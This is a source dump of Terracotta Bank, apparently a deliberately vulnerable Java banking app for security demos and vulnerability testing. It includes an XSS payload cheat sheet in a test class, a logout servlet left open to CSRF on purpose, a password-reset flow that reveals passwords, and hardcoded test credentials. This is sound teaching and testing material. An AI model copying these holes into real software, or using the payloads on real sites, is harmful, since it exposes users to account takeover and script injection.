33 | Assert.assertTrue(hashed.contains("$2a$")); 34 | String[] parts = hashed.split("\\$"); 35 | Assert.assertTrue(parts.length == 4); 36 | Integer strength = Integer.parseInt(parts[2]); 37 | Assert.assertTrue(strength >= 10); // str 38 | } 39 | } 40 | -------------------------------------------------------------------------------- /src/vulnerability-test/java/com/joshcummings/codeplay/terracotta/CharsetTests.java: -------------------------------------------------------------------------------- 1 | /* 2 | * Copyright 2015-2018 Josh Cummings 3 | * 4 | * Licensed under the Apache License, Version 2.0 (the "License"); 5 | * you may not use this file except in compliance with the License. 6 | * You may obtain a copy of the License at 7 | * 8 | * http://www.apache.org/licenses/LICENSE-2.0 9 | * 10 | * Unless required by applicable law or agreed to in writing, software 11 | * distributed under the License is distributed on an "AS IS" BASIS, 12 | * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 13 | * See the License for the specific language governing permissions and 14 | * limitations under the License. 15 | */ 16 | package com.joshcummings.codeplay.terracotta; 17 | 18 | import java.nio.charset.StandardCharsets; 19 | import java.util.Arrays; 20 | 21 | public class CharsetTests { 22 | private static void printArray(byte[] b) { 23 | System.out.println(Arrays.toString(b)); 24 | } 25 | 26 | private static void printArray(char[] b) { 27 | System.out.println(Arrays.toString(b)); 28 | } 29 | 30 | public static void main(String[] args) { 31 | String s = "\r\n\0\0\0嘍嘊"; 32 | printArray(s.getBytes(StandardCharsets.UTF_16)); 33 | printArray(s.getBytes(StandardCharsets.UTF_8)); 34 | printArray(s.getBytes(StandardCharsets.ISO_8859_1)); 35 | char[] c = new char[s.length()]; 36 | s.getChars(0, s.length(), c, 0); 37 | printArray(c); 38 | // and then cast each element of c to byte 39 | byte[] b = new byte[c.length]; 40 | for ( int i = 0; i < c.length; i++ ) { 41 | b[i] = (byte)c[i]; 42 | } 43 | printArray(b); 44 | } 45 | } 46 | -------------------------------------------------------------------------------- /src/vulnerability-test/java/com/joshcummings/codeplay/terracotta/testng/XssCheatSheet.java: -------------------------------------------------------------------------------- 1 | package com.joshcummings.codeplay.terracotta.testng; 2 | 3 | import java.util.Arrays; 4 | import java.util.Iterator; 5 | 6 | public class XssCheatSheet implements Iterable { 7 | protected static final String ALERT = "alert(\"%s is vulnerable on \" + document.domain);"; 8 | 9 | //* 10 | protected static final String[] templates = { 11 | "", 12 | }; 13 | //*/ 14 | 15 | /* 16 | protected String[] templates = { 17 | "", 18 | "", 19 | "" + ALERT + "", // null byte attack 20 | "1234ipt>" + ALERT + "1234ipt>", // embedded attack 21 | "%%253Cscript%%253E" + ALERT + "%%253C/script%%253E", // double-encoding attack 22 | "+Adw-script+AD4-" + ALERT + "+Adw-/script+AD4-", //UTF-7 attack 23 | 24 | };//*/ 25 | 26 | protected boolean needsEscaping; 27 | 28 | public XssCheatSheet() {} 29 | 30 | public XssCheatSheet(boolean needsEscaping) { 31 | this.needsEscaping = needsEscaping; 32 | } 33 | 34 | @Override 35 | public Iterator iterator() { 36 | if ( needsEscaping ) { 37 | return Arrays.asList(templates).stream(). 38 | map(template -> escapeQuotes(template)) 39 | .iterator(); 40 | 41 | } else { 42 | return Arrays.asList(templates).iterator(); 43 | } 44 | } 45 | 46 | protected String escapeQuotes(String template) { 47 | return template.replace("\\", "\\\\").replace("\"", "\\\""); 48 | } 49 | } 50 | -------------------------------------------------------------------------------- /scripts/stop.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | # Text Colors 4 | RED=$(tput setaf 1) 5 | GREEN=$(tput setaf 2) 6 | YELLOW=$(tput setaf 3) 7 | WHITE=$(tput setaf 7) 8 | GREY=$(tput setaf 8) 9 | RESET=$(tput sgr0) 10 | 11 | print_success() { 12 | echo -e "${GREEN}SUCCESS: $1${RESET}" 13 | } 14 | 15 | print_error() { 16 | echo -e "${RED}ERROR: $1${RESET}" 17 | } 18 | 19 | print_warning() { 20 | echo -e "${YELLOW}WARNING: $1${RESET}" 21 | } 22 | 23 | print_info() { 24 | echo -e "${WHITE}INFO: $1${RESET}" 25 | } 26 | 27 | print_debug() { 28 | echo -e "${GREY}DEBUG: $1${RESET}" 29 | } 30 | 31 | # Function to stop processes listening on a port 32 | stop_process_on_port() { 33 | PIDS=$(lsof -t -i:"$1") 34 | 35 | if [ -z "$PIDS" ]; then 36 | print_error "No process found on port $1." 37 | return 38 | fi 39 | 40 | for PID in $PIDS; do 41 | if kill "$PID" >/dev/null 2>&1; then 42 | print_success "Stopped process $PID on port $1." 43 | else 44 | print_error "Failed to stop process $PID on port $1." 45 | fi 46 | done 47 | } 48 | 49 | # Stop the application based on command-line arguments 50 | if [[ -z "$1" ]]; then 51 | COMMAND="both" 52 | PORT=${2:-8080} 53 | else 54 | COMMAND="$(echo "$1" | tr '[:upper:]' '[:lower:]')" 55 | PORT=${2:-8080} 56 | fi 57 | 58 | # If the command is not provided 59 | case "$COMMAND" in 60 | "assess") 61 | stop_process_on_port "$PORT" 62 | ;; 63 | "protect") 64 | stop_process_on_port "$PORT" 65 | ;; 66 | "both") 67 | stop_process_on_port "$PORT" 68 | ;; 69 | *) 70 | print_error "Usage: $0 {assess|protect|both} [PORT]" 71 | exit 1 72 | ;; 73 | esac 74 | -------------------------------------------------------------------------------- /src/test/java/com/joshcummings/codeplay/terracotta/MakeDepositFunctionalTest.java: -------------------------------------------------------------------------------- 1 | /* 2 | * Copyright 2015-2018 Josh Cummings 3 | * 4 | * Licensed under the Apache License, Version 2.0 (the "License"); 5 | * you may not use this file except in compliance with the License. 6 | * You may obtain a copy of the License at 7 | * 8 | * http://www.apache.org/licenses/LICENSE-2.0 9 | * 10 | * Unless required by applicable law or agreed to in writing, software 11 | * distributed under the License is distributed on an "AS IS" BASIS, 12 | * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 13 | * See the License for the specific language governing permissions and 14 | * limitations under the License. 15 | */ 16 | package com.joshcummings.codeplay.terracotta; 17 | 18 | import org.openqa.selenium.By; 19 | import org.testng.annotations.*; 20 | import java.io.*; 21 | 22 | public class MakeDepositFunctionalTest extends AbstractEmbeddedTomcatSeleniumTest { 23 | @BeforeClass(alwaysRun = true) 24 | public void doLogin() { 25 | login("john.coltraine", "j0hn"); 26 | } 27 | 28 | @AfterClass(alwaysRun = true) 29 | public void doLogout() { 30 | logout(); 31 | } 32 | 33 | @Test(groups = "web") 34 | public void testMakeDeposit() { 35 | goToPage("/"); 36 | 37 | driver.findElement(By.name("depositAccountNumber")).sendKeys("987654321"); 38 | driver.findElement(By.name("depositCheckNumber")).sendKeys("123"); 39 | driver.findElement(By.name("depositAmount")).sendKeys("10"); 40 | driver.findElement(By.name("depositCheckImage")).sendKeys(new File("src/test/resources/check.png").getAbsolutePath()); 41 | 42 | driver.findElement(By.name("deposit")).submit(); 43 | 44 | } 45 | 46 | } 47 | -------------------------------------------------------------------------------- /src/test/java/com/joshcummings/codeplay/terracotta/ForgotPasswordFunctionalTest.java: -------------------------------------------------------------------------------- 1 | /* 2 | * Copyright 2015-2018 Josh Cummings 3 | * 4 | * Licensed under the Apache License, Version 2.0 (the "License"); 5 | * you may not use this file except in compliance with the License. 6 | * You may obtain a copy of the License at 7 | * 8 | * http://www.apache.org/licenses/LICENSE-2.0 9 | * 10 | * Unless required by applicable law or agreed to in writing, software 11 | * distributed under the License is distributed on an "AS IS" BASIS, 12 | * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 13 | * See the License for the specific language governing permissions and 14 | * limitations under the License. 15 | */ 16 | package com.joshcummings.codeplay.terracotta; 17 | 18 | import org.testng.Assert; 19 | import org.testng.annotations.Test; 20 | 21 | import static org.apache.http.client.methods.RequestBuilder.get; 22 | import static org.apache.http.client.methods.RequestBuilder.post; 23 | 24 | public class ForgotPasswordFunctionalTest extends AbstractEmbeddedTomcatSeleniumTest { 25 | @Test(groups="web") 26 | public void testForgotPassword() { 27 | String validAccount = http.postForContent(post("/forgotPassword") 28 | .addParameter("forgotPasswordAccount", "admin")); 29 | 30 | Assert.assertTrue(validAccount.contains("Your password is (admin)")); 31 | } 32 | 33 | @Test(groups = "web") 34 | public void testForgotPasswordCannotBePerformedWithGet() { 35 | int status = http.getForStatus(get("/forgotPassword") 36 | .addParameter("forgotPasswordAccount", "user")); 37 | 38 | Assert.assertEquals(status, 400); 39 | } 40 | } -------------------------------------------------------------------------------- /src/vulnerability-test/java/com/joshcummings/codeplay/terracotta/AdminViewMessagesFunctionalTest.java: -------------------------------------------------------------------------------- 1 | /* 2 | * Copyright 2015-2018 Josh Cummings 3 | * 4 | * Licensed under the Apache License, Version 2.0 (the "License"); 5 | * you may not use this file except in compliance with the License. 6 | * You may obtain a copy of the License at 7 | * 8 | * http://www.apache.org/licenses/LICENSE-2.0 9 | * 10 | * Unless required by applicable law or agreed to in writing, software 11 | * distributed under the License is distributed on an "AS IS" BASIS, 12 | * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 13 | * See the License for the specific language governing permissions and 14 | * limitations under the License. 15 | */ 16 | package com.joshcummings.codeplay.terracotta; 17 | 18 | import org.openqa.selenium.Alert; 19 | import org.openqa.selenium.By; 20 | import org.openqa.selenium.NoAlertPresentException; 21 | import org.testng.Assert; 22 | import org.testng.annotations.AfterClass; 23 | import org.testng.annotations.BeforeClass; 24 | import org.testng.annotations.Test; 25 | 26 | public class AdminViewMessagesFunctionalTest extends AbstractEmbeddedTomcatSeleniumTest { 27 | @BeforeClass(alwaysRun=true) 28 | protected void doLogin() { 29 | employeeLogin("admin", "admin"); 30 | } 31 | 32 | @AfterClass(alwaysRun=true) 33 | protected void doLogout() { 34 | logout(); 35 | } 36 | 37 | @Test(groups="web", expectedExceptions={ NoAlertPresentException.class }) 38 | public void testViewMessagesForXSS() { 39 | goToPage("/employee.jsp"); 40 | driver.findElement(By.name("show")).click(); 41 | Alert alert = switchToAlertEventually(driver, 2000); 42 | Assert.fail(getTextThenDismiss(alert)); 43 | } 44 | } 45 | -------------------------------------------------------------------------------- /src/main/jib/context.xml: -------------------------------------------------------------------------------- 1 | 2 | 18 | 19 | 20 | 21 | 22 | 23 | WEB-INF/web.xml 24 | ${catalina.base}/conf/web.xml 25 | 26 | 27 | 30 | 31 | 33 | 36 | 37 | -------------------------------------------------------------------------------- /src/test/java/com/joshcummings/codeplay/terracotta/AdminLookupCheckFunctionalTest.java: -------------------------------------------------------------------------------- 1 | /* 2 | * Copyright 2015-2018 Josh Cummings 3 | * 4 | * Licensed under the Apache License, Version 2.0 (the "License"); 5 | * you may not use this file except in compliance with the License. 6 | * You may obtain a copy of the License at 7 | * 8 | * http://www.apache.org/licenses/LICENSE-2.0 9 | * 10 | * Unless required by applicable law or agreed to in writing, software 11 | * distributed under the License is distributed on an "AS IS" BASIS, 12 | * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 13 | * See the License for the specific language governing permissions and 14 | * limitations under the License. 15 | */ 16 | package com.joshcummings.codeplay.terracotta; 17 | 18 | import org.openqa.selenium.*; 19 | 20 | import org.testng.Assert; 21 | import org.testng.annotations.AfterClass; 22 | import org.testng.annotations.BeforeClass; 23 | import org.testng.annotations.Test; 24 | 25 | 26 | public class AdminLookupCheckFunctionalTest extends AbstractEmbeddedTomcatSeleniumTest { 27 | @BeforeClass(alwaysRun=true) 28 | protected void doLogin() { 29 | employeeLogin("admin", "admin"); 30 | } 31 | 32 | @AfterClass(alwaysRun=true) 33 | protected void doLogout() { 34 | logout(); 35 | } 36 | 37 | @Test(groups="web") 38 | public void testLookup() throws InterruptedException { 39 | goToPage("/employee.jsp"); 40 | 41 | findElementEventually(driver, By.name("checkLookupNumber"), 2000).sendKeys("123"); 42 | driver.findElement(By.name("checkLookupNumber")).submit(); 43 | 44 | 45 | Thread.sleep(2000); 46 | 47 | String s = driver.findElement(By.cssSelector("#lookup > div.messages")).getText(); 48 | 49 | Assert.assertEquals(s, "Bad Request"); 50 | 51 | } 52 | } 53 | -------------------------------------------------------------------------------- /Dockerfile: -------------------------------------------------------------------------------- 1 | # 2 | # BUILD STAGE 3 | # Build the app using a gradle image and run the included tests. 4 | # 5 | FROM gradle:4.10.2-jdk8-alpine as build 6 | WORKDIR /home/gradle/src 7 | COPY .git/ .git/ 8 | COPY build.gradle settings.gradle ./ 9 | COPY evil/ evil/ 10 | COPY src/ src/ 11 | RUN gradle build -x test --stacktrace --no-daemon 12 | 13 | # 14 | # TEST STAGE 15 | # Add additional dependencies required for testing (selenium and the contrast.jar) and run testing 16 | # TODO: Remove the dependancy on running with contrast from the build.gradle. 17 | # FIXME: Not working! 18 | # FROM build as test 19 | # USER root 20 | # RUN apk add --no-cache firefox-esr unzip wget curl xvfb dbus 21 | # RUN wget -O /tmp/selenium-server-standalone.jar https://selenium-release.storage.googleapis.com/3.141/selenium-server-standalone-3.141.59.jar 22 | # COPY --from=contrast/agent-java:latest /contrast/contrast-agent.jar ./contrast.jar 23 | # USER gradle 24 | # ENTRYPOINT [ "gradle", "cleanTest", "test"] 25 | 26 | 27 | # 28 | # RUNTIME STAGE 29 | # Take only the compilied application .war file form the build stage above and run it in a JRE container. 30 | # 31 | FROM openjdk:8-jre-alpine as runtime 32 | COPY --from=build /home/gradle/src/build/libs/terracotta-bank-servlet-0.0.1-SNAPSHOT.war /app/terracotta-bank-servlet-0.0.1-SNAPSHOT.war 33 | WORKDIR /app 34 | EXPOSE 8080 35 | CMD ["java", "-jar", "terracotta-bank-servlet-0.0.1-SNAPSHOT.war"] 36 | 37 | # 38 | # CONTRAST STAGE 39 | # Take the runtime stage above and add the Contrast agent jar and set JAVA_TOOL_OPTIONS to enable it. 40 | # 41 | FROM runtime as contrast 42 | COPY --from=contrast/agent-java:latest /contrast/contrast-agent.jar /opt/contrast/contrast.jar 43 | ENV JAVA_TOOL_OPTIONS='-javaagent:/opt/contrast/contrast.jar -Dcontrast.application.name=terracotta-bank' 44 | -------------------------------------------------------------------------------- /src/test/java/com/joshcummings/codeplay/terracotta/AbstractEmbeddedTomcatTest.java: -------------------------------------------------------------------------------- 1 | package com.joshcummings.codeplay.terracotta; 2 | 3 | import com.joshcummings.codeplay.terracotta.testng.DockerSupport; 4 | import com.joshcummings.codeplay.terracotta.http.HttpSupport; 5 | import com.joshcummings.codeplay.terracotta.testng.TomcatSupport; 6 | 7 | import org.testng.ITestContext; 8 | import org.testng.annotations.AfterTest; 9 | import org.testng.annotations.BeforeTest; 10 | 11 | import org.springframework.context.ApplicationContext; 12 | 13 | import static org.apache.http.client.methods.RequestBuilder.post; 14 | 15 | public class AbstractEmbeddedTomcatTest { 16 | protected TomcatSupport tomcat = new TomcatSupport(); 17 | protected DockerSupport docker = new DockerSupport(); 18 | protected HttpSupport http = new HttpSupport(); 19 | 20 | protected ApplicationContext context; 21 | 22 | @BeforeTest(alwaysRun=true) 23 | public void start(ITestContext ctx) throws Exception { 24 | if ( "docker".equals(ctx.getName()) ) { 25 | docker().startContainer(); 26 | } else { 27 | context = tomcat.startContainer(); 28 | } 29 | } 30 | 31 | @AfterTest(alwaysRun=true) 32 | public void stop(ITestContext ctx) throws Exception { 33 | if ( "docker".equals(ctx.getName()) ) { 34 | docker().stopContainer(); 35 | } else { 36 | tomcat.stopContainer(); 37 | } 38 | } 39 | 40 | protected DockerSupport docker() { 41 | return docker == null ? ( docker = new DockerSupport() ) : docker; 42 | } 43 | 44 | protected String login(String username, String password) { 45 | return http.postForContent(post("/login") 46 | .addParameter("username", username) 47 | .addParameter("password", password)); 48 | } 49 | 50 | protected void logout() { 51 | http.postForContent(post("/logout")); 52 | } 53 | } 54 | -------------------------------------------------------------------------------- /src/main/java/com/joshcummings/codeplay/terracotta/servlet/LogoutServlet.java: -------------------------------------------------------------------------------- 1 | /* 2 | * Copyright 2015-2018 Josh Cummings 3 | * 4 | * Licensed under the Apache License, Version 2.0 (the "License"); 5 | * you may not use this file except in compliance with the License. 6 | * You may obtain a copy of the License at 7 | * 8 | * http://www.apache.org/licenses/LICENSE-2.0 9 | * 10 | * Unless required by applicable law or agreed to in writing, software 11 | * distributed under the License is distributed on an "AS IS" BASIS, 12 | * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 13 | * See the License for the specific language governing permissions and 14 | * limitations under the License. 15 | */ 16 | package com.joshcummings.codeplay.terracotta.servlet; 17 | 18 | import javax.servlet.ServletException; 19 | import javax.servlet.http.HttpServlet; 20 | import javax.servlet.http.HttpServletRequest; 21 | import javax.servlet.http.HttpServletResponse; 22 | import java.io.IOException; 23 | 24 | /** 25 | * This class makes Terracotta Bank vulnerable to CSRF 26 | * attacks due to naively mapping {@code doGet} to {@code doPost}. 27 | * 28 | * @author Josh Cummings 29 | */ 30 | //@WebServlet("/logout") 31 | public class LogoutServlet extends HttpServlet { 32 | private static final long serialVersionUID = 1L; 33 | 34 | 35 | @Override 36 | protected void doGet( 37 | HttpServletRequest req, 38 | HttpServletResponse resp) throws ServletException, IOException { 39 | 40 | doPost(req, resp); 41 | } 42 | 43 | protected void doPost( 44 | HttpServletRequest request, 45 | HttpServletResponse response) throws ServletException, IOException { 46 | 47 | request.getSession().invalidate(); 48 | response.sendRedirect(request.getContextPath()); 49 | } 50 | 51 | } 52 | -------------------------------------------------------------------------------- /src/test/java/com/joshcummings/codeplay/terracotta/testng/ProxySupport.java: -------------------------------------------------------------------------------- 1 | /* 2 | * Copyright 2015-2018 Josh Cummings 3 | * 4 | * Licensed under the Apache License, Version 2.0 (the "License"); 5 | * you may not use this file except in compliance with the License. 6 | * You may obtain a copy of the License at 7 | * 8 | * http://www.apache.org/licenses/LICENSE-2.0 9 | * 10 | * Unless required by applicable law or agreed to in writing, software 11 | * distributed under the License is distributed on an "AS IS" BASIS, 12 | * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 13 | * See the License for the specific language governing permissions and 14 | * limitations under the License. 15 | */ 16 | package com.joshcummings.codeplay.terracotta.testng; 17 | 18 | import org.littleshoot.proxy.HttpProxyServer; 19 | import org.littleshoot.proxy.impl.DefaultHttpProxyServer; 20 | import org.testng.ITestContext; 21 | 22 | import java.net.InetSocketAddress; 23 | 24 | public class ProxySupport { 25 | protected static HttpProxyServer proxy; 26 | 27 | public void start(ITestContext ctx) { 28 | start(ctx.getName()); 29 | } 30 | 31 | public void start(String type) { 32 | proxy = DefaultHttpProxyServer.bootstrap() 33 | .withPort(8081) 34 | .withServerResolver((host, port) -> { 35 | if ( host.equals(TestConstants.host) || 36 | host.equals(TestConstants.evilHost)) { 37 | return new InetSocketAddress("docker".equals(type) ? "192.168.99.100" : "localhost", 8080); 38 | } 39 | return new InetSocketAddress(host, port); 40 | }) 41 | .start(); 42 | } 43 | 44 | public void stop() { 45 | proxy.stop(); 46 | } 47 | 48 | public static void main(String[] args) { 49 | new ProxySupport().start("tomcat"); 50 | } 51 | } 52 | -------------------------------------------------------------------------------- /src/vulnerability-test/java/com/joshcummings/codeplay/terracotta/AbstractEmbeddedTomcatTest.java: -------------------------------------------------------------------------------- 1 | package com.joshcummings.codeplay.terracotta; 2 | 3 | import com.joshcummings.codeplay.terracotta.http.HttpSupport; 4 | import com.joshcummings.codeplay.terracotta.testng.DockerSupport; 5 | import com.joshcummings.codeplay.terracotta.testng.TomcatSupport; 6 | import org.testng.ITestContext; 7 | import org.testng.annotations.AfterTest; 8 | import org.testng.annotations.BeforeTest; 9 | 10 | import org.springframework.context.ApplicationContext; 11 | 12 | import static org.apache.http.client.methods.RequestBuilder.post; 13 | 14 | public class AbstractEmbeddedTomcatTest { 15 | protected TomcatSupport tomcat = new TomcatSupport(); 16 | protected DockerSupport docker = new DockerSupport(); 17 | protected HttpSupport http = new HttpSupport(); 18 | 19 | protected ApplicationContext context; 20 | 21 | @BeforeTest(alwaysRun=true) 22 | public void start(ITestContext ctx) throws Exception { 23 | if ( "docker".equals(ctx.getName()) ) { 24 | docker().startContainer(); 25 | } else { 26 | context = tomcat.startContainer(); 27 | } 28 | } 29 | 30 | @AfterTest(alwaysRun=true) 31 | public void stop(ITestContext ctx) throws Exception { 32 | if ( "docker".equals(ctx.getName()) ) { 33 | docker().stopContainer(); 34 | } else { 35 | tomcat.stopContainer(); 36 | } 37 | } 38 | 39 | protected DockerSupport docker() { 40 | return docker == null ? ( docker = new DockerSupport() ) : docker; 41 | } 42 | 43 | protected String login(String username, String password) { 44 | return http.postForContent(post("/login") 45 | .addParameter("username", username) 46 | .addParameter("password", password)); 47 | } 48 | 49 | protected void logout() { 50 | http.postForContent(post("/logout")); 51 | } 52 | } 53 | -------------------------------------------------------------------------------- /src/test/java/com/joshcummings/codeplay/terracotta/SendMessageFunctionalTest.java: -------------------------------------------------------------------------------- 1 | /* 2 | * Copyright 2015-2018 Josh Cummings 3 | * 4 | * Licensed under the Apache License, Version 2.0 (the "License"); 5 | * you may not use this file except in compliance with the License. 6 | * You may obtain a copy of the License at 7 | * 8 | * http://www.apache.org/licenses/LICENSE-2.0 9 | * 10 | * Unless required by applicable law or agreed to in writing, software 11 | * distributed under the License is distributed on an "AS IS" BASIS, 12 | * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 13 | * See the License for the specific language governing permissions and 14 | * limitations under the License. 15 | */ 16 | package com.joshcummings.codeplay.terracotta; 17 | 18 | import org.openqa.selenium.By; 19 | import org.testng.Assert; 20 | import org.testng.annotations.AfterMethod; 21 | import org.testng.annotations.Test; 22 | 23 | public class SendMessageFunctionalTest extends AbstractEmbeddedTomcatSeleniumTest { 24 | 25 | @AfterMethod(alwaysRun=true) 26 | public void doLogout() { 27 | logout(); 28 | } 29 | 30 | 31 | @Test(groups="messages") 32 | public void sendMessage() throws InterruptedException { 33 | goToPage("/"); 34 | 35 | driver.findElement(By.name("contactName")).sendKeys("Terracotta Bank"); 36 | driver.findElement(By.name("contactEmail")).sendKeys("tb@peartree.com"); 37 | driver.findElement(By.name("contactSubject")).sendKeys("Enquiry"); 38 | driver.findElement(By.name("contactMessage")).sendKeys("Do you use premium clay?"); 39 | driver.findElement(By.name("contactName")).submit(); 40 | 41 | Thread.sleep(10000); 42 | 43 | String s = driver.findElement(By.cssSelector("#contact div.messages")).getText(); 44 | 45 | Assert.assertEquals(s, "Delivered!"); 46 | } 47 | } 48 | -------------------------------------------------------------------------------- /src/main/java/com/joshcummings/codeplay/terracotta/model/Client.java: -------------------------------------------------------------------------------- 1 | /* 2 | * Copyright 2015-2018 Josh Cummings 3 | * 4 | * Licensed under the Apache License, Version 2.0 (the "License"); 5 | * you may not use this file except in compliance with the License. 6 | * You may obtain a copy of the License at 7 | * 8 | * http://www.apache.org/licenses/LICENSE-2.0 9 | * 10 | * Unless required by applicable law or agreed to in writing, software 11 | * distributed under the License is distributed on an "AS IS" BASIS, 12 | * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 13 | * See the License for the specific language governing permissions and 14 | * limitations under the License. 15 | */ 16 | package com.joshcummings.codeplay.terracotta.model; 17 | 18 | import java.net.URI; 19 | import java.security.Key; 20 | 21 | /** 22 | * @author Josh Cummings 23 | */ 24 | public class Client { 25 | private final String id; 26 | private final String clientId; 27 | private final Key clientSecret; 28 | private final Algorithm algorithm; 29 | private final URI keySetUri; 30 | 31 | public enum Algorithm { 32 | v1, v2; 33 | } 34 | 35 | public Client(String id, String clientId, Key clientSecret, Algorithm algorithm, URI keySetUri) { 36 | this.id = id; 37 | this.clientId = clientId; 38 | this.clientSecret = clientSecret; 39 | this.algorithm = algorithm; 40 | this.keySetUri = keySetUri; 41 | } 42 | 43 | public String getId() { 44 | return id; 45 | } 46 | 47 | public String getClientId() { 48 | return clientId; 49 | } 50 | 51 | public Key getClientSecret() { 52 | return clientSecret; 53 | } 54 | 55 | public Algorithm getAlgorithm() { return algorithm; } 56 | 57 | public URI getKeySetUri() { 58 | return keySetUri; 59 | } 60 | } 61 | -------------------------------------------------------------------------------- /src/test/java/com/joshcummings/codeplay/terracotta/ChangePasswordFunctionalTest.java: -------------------------------------------------------------------------------- 1 | /* 2 | * Copyright 2015-2018 Josh Cummings 3 | * 4 | * Licensed under the Apache License, Version 2.0 (the "License"); 5 | * you may not use this file except in compliance with the License. 6 | * You may obtain a copy of the License at 7 | * 8 | * http://www.apache.org/licenses/LICENSE-2.0 9 | * 10 | * Unless required by applicable law or agreed to in writing, software 11 | * distributed under the License is distributed on an "AS IS" BASIS, 12 | * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 13 | * See the License for the specific language governing permissions and 14 | * limitations under the License. 15 | */ 16 | package com.joshcummings.codeplay.terracotta; 17 | 18 | import org.openqa.selenium.By; 19 | import org.testng.Assert; 20 | import org.testng.annotations.AfterClass; 21 | import org.testng.annotations.BeforeClass; 22 | import org.testng.annotations.Test; 23 | 24 | 25 | public class ChangePasswordFunctionalTest extends AbstractEmbeddedTomcatSeleniumTest { 26 | @BeforeClass(alwaysRun = true) 27 | public void doLogin() { 28 | login("john.coltraine", "j0hn"); 29 | } 30 | 31 | @AfterClass(alwaysRun = true) 32 | public void doLogout() { 33 | logout(); 34 | } 35 | 36 | @Test(groups = "web") 37 | public void changePassword() throws InterruptedException { 38 | goToPage("/"); 39 | 40 | driver.findElement(By.name("changePassword")).sendKeys("123"); 41 | driver.findElement(By.name("verifyChangePassword")).sendKeys("123"); 42 | driver.findElement(By.name("changePassword")).submit(); 43 | 44 | Thread.sleep(5000); 45 | 46 | String s = driver.findElement(By.cssSelector("#change > div.messages")).getText(); 47 | 48 | Assert.assertTrue(s.contains("Your password (123) isn't strong enough")); 49 | } 50 | 51 | } 52 | -------------------------------------------------------------------------------- /terraform-azure/main.tf: -------------------------------------------------------------------------------- 1 | #Terraform `provider` section is required since the `azurerm` provider update to 2.0+ 2 | provider "azurerm" { 3 | features { 4 | } 5 | } 6 | 7 | #Extract the connection from the normal yaml file to pass to the app container 8 | data "external" "yaml" { 9 | program = [var.python_binary, "${path.module}/parseyaml.py"] 10 | } 11 | 12 | #Set up a personal resource group for the SE local to them 13 | resource "azurerm_resource_group" "personal" { 14 | name = "Sales-Engineer-${var.initials}" 15 | location = var.location 16 | } 17 | 18 | #Set up a container group 19 | resource "azurerm_container_group" "app" { 20 | name = "${var.appname}-${var.initials}" 21 | location = azurerm_resource_group.personal.location 22 | resource_group_name = azurerm_resource_group.personal.name 23 | ip_address_type = "Public" 24 | dns_name_label = "${replace(var.appname, "/[^-0-9a-zA-Z]/", "-")}-${var.initials}" 25 | os_type = "Linux" 26 | 27 | container { 28 | name = "web" 29 | image = "contrastsecuritydemo/terracotta-bank:1.0" 30 | cpu = "1" 31 | memory = "1.5" 32 | ports { 33 | port = 8080 34 | protocol = "TCP" 35 | } 36 | environment_variables = { 37 | JAVA_TOOL_OPTIONS = "-javaagent:/opt/contrast/contrast.jar -Dcontrast.api.url=${data.external.yaml.result.url} -Dcontrast.api.api_key=${data.external.yaml.result.api_key} -Dcontrast.api.service_key=${data.external.yaml.result.service_key} -Dcontrast.api.user_name=${data.external.yaml.result.user_name} -Dcontrast.application.name=${var.appname} -Dcontrast.server.name=${var.servername} -Dcontrast.server.environment=${var.environment} -Dcontrast.application.session_metadata=${var.session_metadata} -Dcontrast.application.tags=${var.apptags} -Dcontrast.server.tags=${var.servertags}" 38 | } 39 | } 40 | } -------------------------------------------------------------------------------- /src/test/java/com/joshcummings/codeplay/terracotta/testng/SeleniumSupport.java: -------------------------------------------------------------------------------- 1 | /* 2 | * Copyright 2015-2018 Josh Cummings 3 | * 4 | * Licensed under the Apache License, Version 2.0 (the "License"); 5 | * you may not use this file except in compliance with the License. 6 | * You may obtain a copy of the License at 7 | * 8 | * http://www.apache.org/licenses/LICENSE-2.0 9 | * 10 | * Unless required by applicable law or agreed to in writing, software 11 | * distributed under the License is distributed on an "AS IS" BASIS, 12 | * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 13 | * See the License for the specific language governing permissions and 14 | * limitations under the License. 15 | */ 16 | package com.joshcummings.codeplay.terracotta.testng; 17 | 18 | import io.github.bonigarcia.wdm.WebDriverManager; 19 | import org.openqa.selenium.WebDriver; 20 | import org.openqa.selenium.firefox.FirefoxDriver; 21 | import org.openqa.selenium.firefox.FirefoxOptions; 22 | import org.openqa.selenium.firefox.FirefoxProfile; 23 | 24 | public class SeleniumSupport { 25 | public WebDriver start() { 26 | WebDriverManager.firefoxdriver().setup(); 27 | 28 | FirefoxProfile profile = new FirefoxProfile(); 29 | 30 | profile.setPreference("network.proxy.type", 1); 31 | profile.setPreference("network.proxy.http", "localhost"); 32 | profile.setPreference("network.proxy.http_port", 8081); 33 | profile.setPreference("network.proxy.ssl", "localhost"); 34 | profile.setPreference("network.proxy.ssl_port", 8081); 35 | 36 | 37 | FirefoxOptions options = new FirefoxOptions(); 38 | options.addArguments("-headless"); 39 | options.setProfile(profile); 40 | 41 | return new FirefoxDriver(options); 42 | } 43 | 44 | public void stop(WebDriver driver) { 45 | if ( driver != null ) { 46 | driver.quit(); 47 | } 48 | } 49 | } 50 | -------------------------------------------------------------------------------- /src/main/java/com/joshcummings/codeplay/terracotta/service/MessageService.java: -------------------------------------------------------------------------------- 1 | /* 2 | * Copyright 2015-2018 Josh Cummings 3 | * 4 | * Licensed under the Apache License, Version 2.0 (the "License"); 5 | * you may not use this file except in compliance with the License. 6 | * You may obtain a copy of the License at 7 | * 8 | * http://www.apache.org/licenses/LICENSE-2.0 9 | * 10 | * Unless required by applicable law or agreed to in writing, software 11 | * distributed under the License is distributed on an "AS IS" BASIS, 12 | * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 13 | * See the License for the specific language governing permissions and 14 | * limitations under the License. 15 | */ 16 | package com.joshcummings.codeplay.terracotta.service; 17 | 18 | import 